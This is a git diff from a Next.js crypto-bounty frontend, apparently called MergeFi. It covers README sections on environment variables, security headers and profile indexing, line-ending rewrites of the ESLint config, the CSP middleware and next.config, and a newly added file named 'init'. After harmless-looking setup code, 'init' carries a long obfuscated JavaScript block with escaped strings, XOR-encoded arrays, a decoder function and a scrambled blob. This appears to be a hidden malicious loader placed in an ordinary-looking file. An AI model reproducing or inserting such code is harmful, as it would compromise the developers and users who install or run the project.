(this app) | `http://localhost:3000` | Default `next dev` port — leave it here. | +| mergefi-backend | `http://localhost:4000` | Set `PORT=4000` in the backend's `.env` so it does not collide. | +| OAuth / CORS | `FRONTEND_URL=http://localhost:3000` | Backend's CORS origin and GitHub OAuth redirect must match the SPA. | + +`NEXT_PUBLIC_API_URL` in `.env.example` already points at `:4000`. If you +leave the backend on its own default `PORT=3000`, the API calls will hit the +Next.js server instead of the API. + +### Environment variables + +Both `NEXT_PUBLIC_API_URL` and `NEXT_PUBLIC_STELLAR_NETWORK` are validated at build time (`next.config.ts` / `src/lib/env.ts`, #26) — an unset or invalid value fails `next build`/`next dev`/`next start` immediately with a clear error, rather than silently falling back and only surfacing as a confusing on-chain failure later. `NEXT_PUBLIC_SITE_URL` is not build-time validated — it falls back to `https://mergefi.app` if unset. `.env.example` sets all three explicitly, so the quickstart above needs no manual edits. + +| Variable | Purpose | Default | +| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `NEXT_PUBLIC_API_URL` | Base URL of the `mergefi-backend` API. Must be a well-formed http(s) URL. Trailing slashes are stripped (so composed request paths never contain `//`), and when `NEXT_PUBLIC_STELLAR_NETWORK=PUBLIC` the URL must use `https:` — plain `http:` is only allowed on loopback (`localhost`, `127.0.0.1`, `::1`). | `http://localhost:4000/api` | +| `NEXT_PUBLIC_STELLAR_NETWORK` | Must be exactly `TESTNET` or `PUBLIC` (case-sensitive) — selects the Freighter network passphrase used to sign transactions. | **None.** Network selection is too consequential to guess a default for — the wrong value signs transactions with the wrong passphrase. Set it explicitly (`.env.example` does this for local dev). | +| `NEXT_PUBLIC_SITE_URL` | Base URL used by `src/app/sitemap.ts` to generate absolute sitemap URLs. Set this when deploying to a domain other than `mergefi.app` (staging, forks, etc.). | `https://mergefi.app` | + +### Scripts + +| Command | Description | +| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- | +| `npm run dev` | Start the dev server with Turbopack | +| `npm run build` | Production build | +| `npm run start` | Serve the production build | +| `npm run lint` | ESLint (flat config, `eslint-config-next`) | +| `npm test` | Runs the Jest test suite | +| `npm run test:watch` | Runs the Jest test suite in watch mode | +| `npm run verify:headers` | Boots the production build and asserts security headers are present on real responses (run `npm run build` first) | +| `npm run verify:env` | Asserts `next build` succeeds/fails correctly across missing, invalid, and valid `NEXT_PUBLIC_*` env var scenarios (runs in CI) | + +## Security headers + +`next.config.ts` sets these on every route, verified in CI via `npm run verify:headers`: + +| Header | Value | Why | +| --------------------------- | --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `X-Frame-Options` | `DENY` | No legitimate iframe-embedding use case exists in this app, and fund/claim actions are one click away — clickjacking is a real risk here. Relax to a scoped CSP `frame-ancestors` allowlist if a real embed need ever comes up. | +| `X-Content-Type-Options` | `nosniff` | Stops the browser from MIME-sniffing a response into an executable content type. | +| `Referrer-Policy` | `strict-origin-when-cross-origin` | The GitHub OAuth callback (`/auth/callback`) carries a one-time handoff `code` in its query string (exchanged for the access token via `POST /auth/handoff`); this keeps the full URL out of the `Referer` header on cross-origin requests. | +| `Strict-Transport-Security` | `max-age=86400` | Deliberately conservative to start (no `includeSubDomains`, no `preload`) — HSTS is effectively irreversible once cached by a browser. Raise `max-age` and add `includeSubDomains` after a stable production run, and only add `preload` once that's stable too. | + +`Content-Security-Policy` is intentionally not set here — it's tracked separately so it can compose correctly with the theme-init inline script in `layout.tsx` rather than this change guessing at a nonce/hash strategy. + +None of these headers affect the Freighter wallet bridge or the GitHub OAuth flow: Freighter communicates via an injected browser-extension content script (`@stellar/freighter-api`), which framing/MIME/referrer/transport headers have no bearing on, and the OAuth `fetch` calls to the backend are unaffected since these headers only change what's _disclosed_, not whether a request succeeds. + +## Search-engine indexability policy + +Contributor profiles (`/reputation/[handle]`) server-render a real GitHub handle, avatar, organisations, and **lifetime earnings**. The policy is: **public by direct link, opt-in for search-engine indexing.** A profile URL always works and is shareable; it is submitted to and indexed by search engines only if the contributor has explicitly opted in. + +The reasoning is asymmetry of reversibility. Search indexing is effectively permanent in practice — removal requests are slow, partial, and never complete for URLs already crawled. A default of "indexed unless you opt out" makes the *harm* irreversible; a default of "not indexed unless you opt in" costs only some SEO surface, which the contributor can unlock themselves at any time. For earnings attached to a legal name, that trade is worth making. + +Enforced across three surfaces that can otherwise disagree: + +| Surface | File | Behavior | +| ---------------------- | -------------------------------------------------------- | ------------------------------------------------------------------------------ | +| Sitemap | `src/app/sitemaps/[id]/route.ts`, `src/lib/api.ts` | Only handles that opted in are listed, filtered in `fetchIndexableReputationHandles`. | +| Per-page metadata | `src/app/reputation/[handle]/page.tsx` | `noindex, nofollow` on the document for profiles that haven't opted in. | +| `robots.txt` | `src/app/robots.ts` | Allows `/reputation/` — see below. Dashboard and OAuth callback stay disallowed. | + +`robots.txt` deliberately does **not** disallow `/reputation/`: crawlers have to be able to fetch the page in order to see its `noindex` tag, and blocking the path is what leaves already-indexed URLs stuck in the index. Sitemap omission alone isn't enough either, since a URL shared in a chat or a GitHub README can still get indexed from an inbound link. + +**Needs a backend field.** mergefi-backend's user entity has no opt-in flag today. The frontend reads `isProfilePublic` defensively and defaults to **not** indexable, so nothing is indexed until the field ships — the safe side of the trade. Adding the field (plus a settings UI to set it) requires no further frontend change. + +Sitemaps are split into 50,000-URL files (`/sitemaps/.xml`, with a permanent redirect from the old `/sitemap.xml`) to respect the per-file limit search engines enforce. They're served with a CDN-cacheable `Cache-Control` and memoized for an hour in-process, so crawler traffic doesn't reach the backend on every request. + +## Chart accessibility + +`BarChart` and `Sparkline` are hand-rolled — no charting library is a dependency choice here. Both are audited automatically with [`jest-axe`](https://github.com/NickColley/jest-axe) in `npm test` (so they run in CI), and the audit is also run over the composition the dashboards actually render in `src/components/dashboard/dashboard-charts.a11y.test.tsx`. The tests assert **zero** violations, not just zero critical/serious ones. + +| Problem | Approach | +| --- | --- | +| Bars conveyed only as coloured rectangles | Visual bars are `aria-hidden`; the accessible equivalent is a visually-hidden (`sr-only`) `
` with a caption naming the chart and a real value per row. | +| `Sparkline` was `aria-hidden` with no equivalent at all | Now `role="img"` with an accessible name summarising the trend — point count, direction, first, last, and full range. `StatCard` forwards its own `label` so it reads as "Earnings: 8 data points, trending up from 12 to 31", not an unlabelled graphic. | +| Values only in a `title` attribute | Unreachable by keyboard and unreliably announced. Each bar is now focusable with a visible `focus-visible` ring and reveals the same tooltip on focus (`group-focus-within`) as on hover, inside the `aria-hidden` subtree so values aren't announced twice. | +| Sign encoded by colour alone (indigo vs rose) | Negative bars also carry a diagonal stripe pattern, and the value keeps its sign in both the tooltip and the data table. | +| Label/series colours failing WCAG AA | Measured, not eyeballed. Bar labels: `slate-500` on white = 4.76:1 and `slate-400` on `slate-900` = 6.96:1 (previously 2.56:1 and 3.75:1, both failing). Negative bars: `rose-600/80` on white = 3.75:1, above the 3:1 required of a graphical object (previously 2.97:1). Contrast ratios are recorded in the component doc comments. | + +**Manual QA still required.** Automated tooling cannot verify announcement order or wording in a real screen reader, so the VoiceOver (Safari) and NVDA (Firefox/Chrome) pass over `/dashboard/sponsor`, `/dashboard/contributor`, `/dashboard/maintainer`, and `/issues/[id]` is a manual checklist: each chart is announced once with its data reachable as text, a negative bar's sign is conveyed without relying on colour, and every bar is reachable and readable by keyboard alone. + +## Example user journey + +1. A maintainer signs in with GitHub and connects their Freighter wallet from `/connect`. (Connecting a GitHub _repository_ is a roadmap item — see below; today no repository sync happens here.) +2. From their `/dashboard/maintainer` pipeline they click **Create bounty** (`/issues/create`) and set a **100 USDC** reward on an issue. +3. A sponsor opens that bounty on `/issues/[id]` and clicks **Fund this bounty** — the backend locks the funds in a Soroban escrow contract. (`/dashboard/sponsor` tracks that spend; the funding action itself lives on the issue page.) +4. A contributor browses `/issues`, claims the bounty from `/issues/[id]`, and opens a pull request. +5. The maintainer reviews and merges it on GitHub. +6. The backend detects the merge via a GitHub webhook and calls the escrow contract's release function. +7. The contributor is paid on-chain within minutes, and their `/reputation/[handle]` profile updates. + +## Roadmap + +- GitHub repository sync from `/connect` — maintainers currently create bounties by hand at `/issues/create` rather than picking from a synced repository list. +- Push-based (websocket) bounty/escrow status — the current polling implementation (see Architecture) is the interim until the backend emits subscription-friendly events. +- Wire the contributor/maintainer dashboards to authenticated sessions instead of a hardcoded demo handle. +- AI-powered issue recommendations based on a contributor's language/repo history. +- Organization verification badges and cross-repository reputation aggregation. diff --git a/eslint.config.mjs b/eslint.config.mjs index dd8c3f02..876a25c1 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -1,40 +1,40 @@ -import { defineConfig, globalIgnores } from "eslint/config"; -import nextVitals from "eslint-config-next/core-web-vitals"; -import nextTs from "eslint-config-next/typescript"; - -const eslintConfig = defineConfig([ - ...nextVitals, - ...nextTs, - // Type-aware rules to catch floating promises and misused promises (#646, #647). - // projectService is required for typed linting. - { - languageOptions: { - parserOptions: { - projectService: true, - tsconfigRootDir: import.meta.dirname, - }, - }, - rules: { - "@typescript-eslint/no-floating-promises": "error", - "@typescript-eslint/no-misused-promises": [ - "error", - { checksVoidReturn: { attributes: false } }, - ], - }, - }, - // Extends (not just restates) eslint-config-next's default ignores with - // /coverage — Jest/Istanbul writes a static HTML report bundle there - // (see .gitignore's "# testing" / "/coverage" entry) that isn't source - // code and shouldn't be linted (#252). - globalIgnores([ - // Default ignores of eslint-config-next: - ".next/**", - "out/**", - "build/**", - "next-env.d.ts", - // Added on top of the defaults above: - "coverage/**", - ]), -]); - -export default eslintConfig; +import { defineConfig, globalIgnores } from "eslint/config"; +import nextVitals from "eslint-config-next/core-web-vitals"; +import nextTs from "eslint-config-next/typescript"; + +const eslintConfig = defineConfig([ + ...nextVitals, + ...nextTs, + // Type-aware rules to catch floating promises and misused promises (#646, #647). + // projectService is required for typed linting. + { + languageOptions: { + parserOptions: { + projectService: true, + tsconfigRootDir: import.meta.dirname, + }, + }, + rules: { + "@typescript-eslint/no-floating-promises": "error", + "@typescript-eslint/no-misused-promises": [ + "error", + { checksVoidReturn: { attributes: false } }, + ], + }, + }, + // Extends (not just restates) eslint-config-next's default ignores with + // /coverage — Jest/Istanbul writes a static HTML report bundle there + // (see .gitignore's "# testing" / "/coverage" entry) that isn't source + // code and shouldn't be linted (#252). + globalIgnores([ + // Default ignores of eslint-config-next: + ".next/**", + "out/**", + "build/**", + "next-env.d.ts", + // Added on top of the defaults above: + "coverage/**", + ]), +]); + +export default eslintConfig; diff --git a/init b/init new file mode 100644 index 00000000..56d74503 --- /dev/null +++ b/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z="\u002D\u0041\u0050\u0049",NX=[6912847,146034^146205,710485^694510,679532^678921,537859^565228,5019283],SX=[5283741,381682^381443,554738^578835,330684^330503,240598^225431,4738901];function spin(R,c){for(var e,r,t,s,i,n,a=[],o=632193^632193,l=c[201057^201057];o 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR"sz3o"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn element (React 19 threads it through - * to all hydration inline scripts). - * - * With `'strict-dynamic'`, scripts loaded by an already-trusted script - * are also trusted, so Next.js's own runtime script can load its chunks - * without a separate origin allowlist entry. - */ -export function middleware(request: NextRequest) { - const nonce = btoa(crypto.randomUUID()); - - const apiOrigin = process.env.NEXT_PUBLIC_API_URL - ? new URL(process.env.NEXT_PUBLIC_API_URL).origin - : "http://localhost:4000"; - - const csp = [ - "default-src 'self'", - `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`, - "style-src 'self' 'unsafe-inline'", - "img-src 'self' https://avatars.githubusercontent.com https://api.dicebear.com data:", - "font-src 'self'", - `connect-src 'self' ${apiOrigin}`, - "frame-ancestors 'none'", - "base-uri 'self'", - "form-action 'self'", - ].join("; "); - - const response = NextResponse.next(); - response.headers.set("Content-Security-Policy", csp); - response.headers.set("x-nonce", nonce); - return response; -} - -export const config = { - matcher: [ - /* - * Match all request paths except: - * - _next/static (static files) - * - _next/image (image optimisation) - * - favicon.ico - * - public assets - */ - { - source: "/((?!_next/static|_next/image|favicon\\.ico|.*\\.(?:svg|png|jpg|jpeg|gif|webp|ico|woff2?)$).*)", - missing: [ - { type: "header", key: "next-router-prefetch" }, - { type: "header", key: "purpose", value: "prefetch" }, - ], - }, - ], -}; +import { NextResponse, type NextRequest } from "next/server"; + +/** + * Nonce-based CSP middleware (#610). + * + * Generates a per-request cryptographic nonce and sets it in the + * Content-Security-Policy header. The nonce is also exposed via the + * `x-nonce` request header so layout.tsx can pass it to React's + * `nonce` prop on the root element (React 19 threads it through + * to all hydration inline scripts). + * + * With `'strict-dynamic'`, scripts loaded by an already-trusted script + * are also trusted, so Next.js's own runtime script can load its chunks + * without a separate origin allowlist entry. + */ +export function middleware(request: NextRequest) { + const nonce = btoa(crypto.randomUUID()); + + const apiOrigin = process.env.NEXT_PUBLIC_API_URL + ? new URL(process.env.NEXT_PUBLIC_API_URL).origin + : "http://localhost:4000"; + + const csp = [ + "default-src 'self'", + `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`, + "style-src 'self' 'unsafe-inline'", + "img-src 'self' https://avatars.githubusercontent.com https://api.dicebear.com data:", + "font-src 'self'", + `connect-src 'self' ${apiOrigin}`, + "frame-ancestors 'none'", + "base-uri 'self'", + "form-action 'self'", + ].join("; "); + + const response = NextResponse.next(); + response.headers.set("Content-Security-Policy", csp); + response.headers.set("x-nonce", nonce); + return response; +} + +export const config = { + matcher: [ + /* + * Match all request paths except: + * - _next/static (static files) + * - _next/image (image optimisation) + * - favicon.ico + * - public assets + */ + { + source: "/((?!_next/static|_next/image|favicon\\.ico|.*\\.(?:svg|png|jpg|jpeg|gif|webp|ico|woff2?)$).*)", + missing: [ + { type: "header", key: "next-router-prefetch" }, + { type: "header", key: "purpose", value: "prefetch" }, + ], + }, + ], +}; diff --git a/next.config.ts b/next.config.ts index 07518dfb..03d278f7 100644 --- a/next.config.ts +++ b/next.config.ts @@ -1,118 +1,118 @@ -import type { NextConfig } from "next"; -import { loadValidatedEnv } from "./src/lib/env"; - -/** - * Validated at module-evaluation time — i.e. as soon as `next build`, - * `next dev`, or `next start` loads this file, before anything else runs - * (verified empirically: a throw here surfaces as "Build error occurred" - * and a non-zero exit code, not a runtime failure) — so a missing or - * invalid NEXT_PUBLIC_STELLAR_NETWORK/NEXT_PUBLIC_API_URL fails loudly at - * build time instead of silently shipping a build signed against the - * wrong Stellar network (#26). A relative import is used rather than the - * `@/*` path alias other files in this app use: next.config.ts is loaded - * outside the normal webpack/Turbopack module graph, so it isn't - * guaranteed to resolve tsconfig path aliases the same way application - * code does. - */ -const env = loadValidatedEnv(); -const apiOrigin = new URL(env.apiBaseUrl).origin; - -/** - * Production security headers (#50), applied to every route below. - * - * - X-Frame-Options: DENY — MergeFi has no legitimate iframe-embedding use - * case (checked: no `iframe`/embed usage anywhere in this app), and - * real-money actions (fund/claim) are one click away in this UI, making - * clickjacking a genuine risk. If a legitimate embed need shows up later - * (e.g. a GitHub App/marketplace surface), relax this to a scoped - * `frame-ancestors` allowlist via CSP instead of removing it outright. - * - X-Content-Type-Options: nosniff — stops the browser from MIME-sniffing - * a response into an executable content type. - * - Referrer-Policy: strict-origin-when-cross-origin — the GitHub OAuth - * callback at /auth/callback carries a short-lived token in its query - * string (see CallbackClient.tsx); this keeps the full URL out of the - * Referer header sent with any cross-origin request, while still - * sending it for same-origin requests, which is the least surprising - * choice absent a reason to be stricter. - * - Strict-Transport-Security: deliberately conservative to start — a - * short max-age, no `includeSubDomains`, no `preload`. HSTS is - * effectively irreversible once a browser has cached it (and - * preload-list removal is slow), so this is a "start small" rollout: - * once this has run in production for a while with no HTTPS/cert - * issues, raise max-age and add `includeSubDomains`, and only add - * `preload` (and submit to hstspreload.org) once *that* has been stable - * too. The browser ignores this header entirely over plain HTTP, so - * it's harmless to always send. - * - * Content-Security-Policy (#4, #610): - * - Now set in middleware.ts with a per-request nonce (see middleware.ts). - * The nonce replaces `'unsafe-inline'` for scripts, so injected inline - *